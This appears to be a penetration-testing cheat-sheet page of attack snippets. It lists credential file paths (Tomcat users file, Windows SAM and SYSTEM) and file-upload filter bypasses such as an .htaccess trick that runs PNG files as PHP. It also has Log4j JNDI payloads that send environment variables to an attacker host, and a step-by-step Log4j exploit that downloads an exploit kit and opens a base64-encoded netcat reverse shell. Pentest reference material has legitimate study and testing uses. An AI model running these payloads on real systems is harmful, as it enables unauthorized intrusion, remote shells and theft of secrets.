h4rithdpentest

$Target variables

Set it once. Every <IP>, <USER> or <DOMAIN> placeholder in the notes is rewritten live, and the copy buttons copy your values.

Stored in this browser only
h4rithd.com ↗

14Other

Hints!!

Read
2 min
Blocks
10
Updated
Target

Forensics

  • eicar string
bash1 line
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
bash3 lines
ls -la sudoers
# Default file size is 755
-rw-r--r-- 1 root root 755 Jul 3 13:55 sudoers
  • When the server was build ?
bash9 lines
ls -la /etc/ssh/
# Check following file's date
-rw------- 1 root root 505 Jun 5 19:11 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 174 Jun 5 19:11 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 Jun 5 19:11 ssh_host_ed25519_key
-rw-r--r-- 1 root root 94 Jun 5 19:11 ssh_host_ed25519_key.pub
-rw------- 1 root root 2602 Jun 5 19:11 ssh_host_rsa_key
-rw-r--r-- 1 root root 566 Jun 5 19:11 ssh_host_rsa_key.pub

Default configuration paths

  • Tomcat
bash7 lines
# Default path
/opt/tomcat/conf/tomcat-users.xml
# if not; if you have access to shell
ps -ef | less -S #then press '/' to search and type tomcat hit enter.
# or you can visit env variables
env
  • Windows SAM file
bash2 lines
/Windows/System32/config/SAM
/Windows/System32/config/SYSTEM

File Upload

  • HTAccess file
bash3 lines
# Now png file execute as php
echo "RewriteEngine off" > .htaccess
echo "AddType application/x-httpd-php .png" >> .htaccess
bash17 lines
## Use double extensions:
.jpg.php
## Use reverse double extension:
.php.jpg
## Mix uppercase and lowercase:
.pHp, .pHP5, .PhAr
## Null byte:
.php%00.png, .php\x00.png
## Multiple dots:
file.php......
## Whitespace characters:
file.php%20
## Mime type, change Content-Type :
application/x-php
#or,
Content-Type : application/octet-stream to Content-Type : image/gif
# Set the Content-Type twice:

Log4j

  • Test payload
bash16 lines
## ------------------| Run netcat lis
nc -lvnp 4545
## ------------------| Payload
${jndi:ldap://<LHOST>:4545/h4rithd}
${jndi:ldap://<LHOST>:4545/${java:os}}
${jndi:ldap://<LHOST>:4545/${env:ftp_user}}
${jndi:ldap://<LHOST>:4545/${java:version}}
${jndi:ldap://<LHOST>:4545/${sys:java.class.path}}
${jndi:ldap://<LHOST>:4545/${sys:java.class.path}....${java:version}....${java:os}}
## ------------------|
echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -nvv -l -p 389 | xxd
${jndi:ldap://<LHOST>/${java:os}}
${jndi:ldap://<LHOST>/${java:version}}
${jndi:ldap://<LHOST>/${sys:java.class.path}}
  • Exploit I
bash12 lines
## ------------------| Step 0x01
wget https://github.com/pimps/JNDI-Exploit-Kit/raw/master/target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar
## ------------------| Step 0x02
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4545 >/tmp/f' | base64 -w 0
## ------------------| Step 0x03
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L <LHOST>:1389
## ------------------| Step 0x04
nc -lvnp 4545
${jndi:ldap://<LHOST>:1389/serial/CommonsCollections5/exec_unix/<base64>}

Others

  • Extract plain text from .doc & .docx files
bash3 lines
unzip -p ftp-details.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
docx2txt < input.docx > output.txt